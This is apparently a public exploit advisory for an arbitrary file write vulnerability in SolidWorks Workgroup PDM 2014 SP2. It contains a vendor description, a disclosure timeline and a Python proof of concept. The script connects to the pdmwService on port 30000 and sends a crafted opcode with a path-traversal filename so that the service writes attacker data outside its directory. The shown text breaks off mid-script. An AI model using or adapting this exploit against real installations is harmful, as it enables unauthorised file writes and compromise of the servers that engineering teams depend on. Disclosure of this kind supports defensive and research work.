# Title: SolidWorks Workgroup PDM 2014 SP2 Arbitrary File Write Vulnerability # Date: 2-21-2014 # Author: Mohamed Shetta Email: mshetta |at| live |dot| com # Vendor Homepage: http://www.solidworks.com/sw/products/product-data-management/workgroup-pdm.htm # Tested on: Windows 7 #Vulnerability type: Arbitrary File Write #Vulnerable file: pdmwService.exe #PORT: 30000 --------------------------------------------------------------------------------------------------------- Software Description: SolidWorks Workgroup PDM is a PDM tool that allows SolidWorks users operating in teams of 10 members or less to work on designs concurrently. With SolidWorks PDM Workgroup, designers can search, revise, and vault CAD data while maintaining an accurate design history. --------------------------------------------------------------------------------------------------------- Vulnerability Details: This vulnerability allows remote attackers to write arbitrary file on vulnerable installations of SolidWorks Workgroup PDM. ------------------------------------------------------------------------------------------------------------ Disclosure timeline: 12/15/2013 - Vendor notified and no response. 2/21/2014 - Public disclosure ''' #!/usr/bin/env python import socket import struct import ctypes FileName="\x2E\x00\x2E\x00\x5C\x00\x2E\x00\x2E\x00\x5C\x00\x74\x00\x65\x00\x73\x00\x74\x00" #..\..\test Data="A"*1028 FileSize=len(Data) FNsz=len(FileName) OpCode="\xD0\x07\x00\x00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.0.4", 30000)) s.send(OpCode) s.send(struct.pack("I", FNsz)) s.send(FileName) s.send(struct.pack('